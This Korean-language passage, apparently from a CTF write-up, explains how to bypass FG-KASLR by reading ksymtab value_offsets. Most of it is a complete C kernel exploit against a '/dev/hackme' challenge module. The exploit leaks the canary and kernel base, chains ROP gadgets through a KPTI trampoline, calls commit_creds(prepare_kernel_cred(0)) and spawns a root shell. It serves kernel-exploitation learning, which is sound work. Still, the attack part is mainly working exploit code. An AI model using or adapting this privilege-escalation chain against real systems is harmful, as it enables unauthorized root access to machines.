KASLR은 세그먼트별로 베이스 주소가 랜덤하게 부여되는 보호 기법이다. userland의 ASLR과 차이점은 적용되는 위치 커널이라는 것 뿐이다. userland에서 ASLR을 우회할 때 처럼 주소 하나를 릭해서 우회 가능하다. 하지만 이 문제에선 FG-KASLR이라는 보호기법이 적용되어 있다. FG-KASLR(Function Granular KASLR)은 KASLR의 발전된 형태라고 생각하면 된다. 함수 세분화라고 직역할 수 있는데, 영역 주소가 랜덤한 것에 더해 함수들이 무작위성을 가진다. 이 때, 함수들의 주소는 ksymtab 구조체로 관리된다. ksymtab 구조체는 3개의 멤버로 이루어져 있다. 이 중 value_offset이라는 값이 중요하다.

struct kernel_symbol {
	  int value_offset;
	  int name_offset;
	  int namespace_offset;
};

심볼에선 __ksymtab으로 시작하는 주소를 찾으면 된다. value_offset은 __ksymtab_prepare_kernel_cred에 저장된다.

/ # cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff9fd2c250 T prepare_kernel_cred
ffffffffa078d4fc r __ksymtab_prepare_kernel_cred
ffffffffa07a09b2 r __kstrtab_prepare_kernel_cred
ffffffffa07a4d42 r __kstrtabns_prepare_kernel_cred

KPTI를 modprobe로 우회했을 때는 prepare_kernel_cred를 사용하지 않아서 신경 쓸 필요 없지만, prepare_kernel_cred를 사용하게 된다면 ksymtab에 있는 value_offset 값을 이용해 함수 주소를 계산해줘야 한다. 주소 계산은 value_offset 값을 커널 영역에서 가져온 다음 유저 영역에서 계산해주게 된다. 따라서 메모리의 값을 읽어서 가져오는 가젯이 필요하다.

$ cat gadget | grep -E "0xffffffff810.*mov r.*qword ptr.*ret"
...
0xffffffff81015a7f : mov rax, qword ptr [rax] ; pop rbp ; ret
...

최종 익스플로잇 코드는 다음과 같다. LPE에 필요한 2개 함수 주소를 구한 뒤 ret2usr를 수행하는 rop를 수행하는 코드다.

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <signal.h>

uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t kpti_trampoline;
uint64_t modprobe_path;
uint64_t prepare_kernel_cred;
uint64_t commit_creds;
uint64_t pop_rax;
uint64_t pop_rbx;
uint64_t pop_rdi;
uint64_t mov_rdi_rax_pop1;
uint64_t mov_rbxptr_rax_pop2;
uint64_t mov_rax_raxptr_pop1;
uint64_t linux_base;
uint64_t ksymtab_prepare_kernel_cred;
uint64_t ksymtab_commit_creds;

int fd;
uint64_t value_offset;
uint64_t leak[0x30];
uint64_t pay[0x28];
uint64_t canary;
uint64_t leak_addr;

void get_prepare_kernel_cred_offset(void);
void get_prepare_kernel_cred(void);
void get_commit_creds_offset(void);
void get_commit_creds(void);
void exploit(void);

void shell(){
    system("/bin/sh");
}

void get_prepare_kernel_cred_offset(){
    uint64_t user_rip = (uint64_t) get_prepare_kernel_cred;
    
    int idx = 0x10;
    pay[idx++] = canary;
    pay[idx++] = 0x0; // rbx
    pay[idx++] = 0x0; // r12
    pay[idx++] = 0x0; // rbp
    pay[idx++] = pop_rax; // ret
    pay[idx++] = ksymtab_prepare_kernel_cred;
    pay[idx++] = mov_rax_raxptr_pop1;
    pay[idx++] = 0x0;
    pay[idx++] = kpti_trampoline;
    pay[idx++] = 0x0;
    pay[idx++] = 0x0;
    pay[idx++] = user_rip;
    pay[idx++] = user_cs;
    pay[idx++] = user_rflags;
    pay[idx++] = user_sp;
    pay[idx++] = user_ss;

    write(fd,pay,sizeof(pay));
}

void get_prepare_kernel_cred(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov value_offset, rax;"
        ".att_syntax;"
    );

    prepare_kernel_cred = ksymtab_prepare_kernel_cred + (int)value_offset;
    printf("prepare_kernel_cred: %llx\n",prepare_kernel_cred);
    get_commit_creds_offset();
}

void get_commit_creds_offset(){
    uint64_t user_rip = (uint64_t) get_commit_creds;

    int idx = 0x10;
    pay[idx++] = canary;
    pay[idx++] = 0x0; // rbx
    pay[idx++] = 0x0; // r12
    pay[idx++] = 0x0; // rbp
    pay[idx++] = pop_rax; // ret
    pay[idx++] = ksymtab_commit_creds;
    pay[idx++] = mov_rax_raxptr_pop1;
    pay[idx++] = 0x0;
    pay[idx++] = kpti_trampoline;
    pay[idx++] = 0x0;
    pay[idx++] = 0x0;
    pay[idx++] = user_rip;
    pay[idx++] = user_cs;
    pay[idx++] = user_rflags;
    pay[idx++] = user_sp;
    pay[idx++] = user_ss;

    write(fd,pay,sizeof(pay));
}

void get_commit_creds(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov value_offset, rax;"
        ".att_syntax;"
    );

    commit_creds = ksymtab_commit_creds + (int)value_offset;
    printf("commit_creds: %llx\n",commit_creds);
    exploit();
}

void exploit(){
    uint64_t user_rip = (uint64_t) shell;

    int idx = 0x10;
    pay[idx++] = canary;
    pay[idx++] = 0x0; // rbx
    pay[idx++] = 0x0; // r12
    pay[idx++] = 0x0; // rbp
    pay[idx++] = pop_rdi; // ret
    pay[idx++] = 0x0;
    pay[idx++] = prepare_kernel_cred;
    pay[idx++] = mov_rdi_rax_pop1;
    pay[idx++] = 0x0;
    pay[idx++] = commit_creds;
    pay[idx++] = kpti_trampoline;
    pay[idx++] = 0x0;
    pay[idx++] = 0x0;
    pay[idx++] = user_rip;
    pay[idx++] = user_cs;
    pay[idx++] = user_rflags;
    pay[idx++] = user_sp;
    pay[idx++] = user_ss;

    write(fd,pay,sizeof(pay));
}

int main(void) {
    fd = open("/dev/hackme", O_RDWR);    
    printf("fd: %d\n",fd);

    read(fd,leak,sizeof(leak));

    leak_addr = leak[0x26];
    linux_base = leak_addr - 0xa157;
    printf("linux_base: %llx\n",linux_base);

    kpti_trampoline = linux_base + 0x200f10 + 22;
    modprobe_path = linux_base + 0x1061820;
    pop_rax = linux_base + 0x4d11;
    pop_rbx = linux_base + 0x6158;
    pop_rdi = linux_base + 0x6370;
    mov_rdi_rax_pop1 = linux_base + 0xaedf;
    mov_rbxptr_rax_pop2 = linux_base + 0x306d;
    mov_rax_raxptr_pop1 = linux_base + 0x15a7f;
    ksymtab_prepare_kernel_cred = linux_base + 0xf8d4fc;
    ksymtab_commit_creds = linux_base + 0xf87d90;

    canary = leak[0x10];
    printf("canary: %llx\n",canary);

    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            ".att_syntax;");

    get_prepare_kernel_cred_offset();

    return 0;
}

3. Conclusion

이렇게 다양한 보호 기법을 우회하는 문제에 대해 풀어봤다. 향후에는 힙과 관련된 CTF 문제와 실제 모듈에서 발생한 취약점들에 대한 CVE들에 대해 공부해보려 한다.

https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/

https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/

https://lkmidas.github.io/posts/20210205-linux-kernel-pwn-part-3/

https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/